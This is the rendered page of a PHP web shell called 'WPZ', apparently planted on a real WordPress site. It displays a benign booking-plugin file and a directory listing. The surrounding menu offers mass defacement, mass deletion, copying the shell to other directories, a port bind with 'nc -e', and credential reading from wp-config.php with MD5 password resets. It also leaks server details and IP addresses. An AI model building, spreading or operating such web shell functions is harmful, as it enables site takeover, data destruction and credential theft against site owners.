WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / jet-booking / includes / workflows / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-booking/includes/workflows/workflows.php (2.65 KB)
<?php

namespace JET_ABAF\Workflows;

defined( 'ABSPATH' ) || exit; // Exit if accessed directly.

class Workflows {

	/**
	 * Option key for storing workflows in the database.
	 *
	 * @var string
	 */
	private $option_key = 'jet_booking_workflows';

	/**
	 * Array of Workflow objects.
	 *
	 * @var Workflow[]
	 */
	private $items = [];

	public function __construct() {
		$this->items = $this->create_workflows_from_array( get_option( $this->option_key, [] ) );
	}

	/**
	 * Create workflows from array.
	 *
	 * Creates an array of Workflow objects from an array of workflow data.
	 *
	 * @since 3.7.0
	 *
	 * @param array $workflows Array of workflow data.
	 *
	 * @return Workflow[] Array of Workflow objects.
	 */
	public function create_workflows_from_array( $workflows = [] ) {

		$result = [];

		foreach ( $workflows as $workflow ) {
			$result[] = new Workflow( $workflow );
		}

		return $result;

	}

	/**
	 * Updates workflows.
	 *
	 * This function takes an array of workflow data and updates the workflows in the database.
	 *
	 * @since 3.7.0
	 *
	 * @param array $workflows Array of workflow data.
	 *
	 * @return void
	 */
	public function update_workflows( $workflows = [] ) {
		update_option( $this->option_key, $this->to_array( $this->create_workflows_from_array( $workflows ) ) );
	}

	/**
	 * Dispatches workflows.
	 *
	 * This function iterates through each workflow in the internal items array and calls the
	 * method is responsible for executing the workflow's.
	 *
	 * @since 3.7.0
	 *
	 * @param bool $scheduled Whether to dispatch only scheduled workflows.
	 *
	 * @return void
	 */
	public function dispatch_workflows( $scheduled = false ) {
		foreach ( $this->items as $item ) {
			$item->dispatch_workflow( $scheduled );
		}
	}

	/**
	 * Determine whether a workflow notice can be printed before a form.
	 *
	 * @since 4.1.0
	 *
	 * @param bool $is_email_field_enabled Whether the email field is enabled.
	 *
	 * @return bool
	 */
	public function can_print_form_notice( $is_email_field_enabled = false ) {

		if ( ! current_user_can( 'manage_options' ) ) {
			return false;
		}

		if ( $is_email_field_enabled ) {
			return false;
		}

		if ( ! jet_abaf()->settings->get( 'enable_workflows' ) ) {
			return false;
		}

		if ( empty( $this->items ) ) {
			return false;
		}

		return true;

	}

	/**
	 * Converts an array of Workflow objects to an array of workflow data.
	 *
	 * @param Workflow[]|null $items Array of Workflow objects.
	 *
	 * @return array Array of workflow data.
	 */
	public function to_array( $items = null ) {

		if ( null === $items ) {
			$items = $this->items;
		}

		return array_map( function ( $item ) {
			return $item->get_item();
		}, $items );

	}

}
namawaktuukuranownerpermaksi
..
actions/ 2026-07-21 14:1611.31 KB 76129f60960:kundendxwrx-r--r
events/ 2026-07-21 14:169.75 KB 76129f60960:kundendxwrx-r--r
templates/ 2026-07-21 14:163.7 KB 76129f60960:kundendxwrx-r--r
actions-dispatcher.php 2026-07-21 14:16917 B 76129f60960:kunden-xw-x-----
edt
manager.php 2026-07-21 14:164.2 KB 76129f60960:kunden-xw-x-----
edt
workflow.php 2026-07-21 14:161.86 KB 76129f60960:kunden-xw-x-----
edt
workflows.php 2026-07-21 14:162.65 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-booking/includes/workflows
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK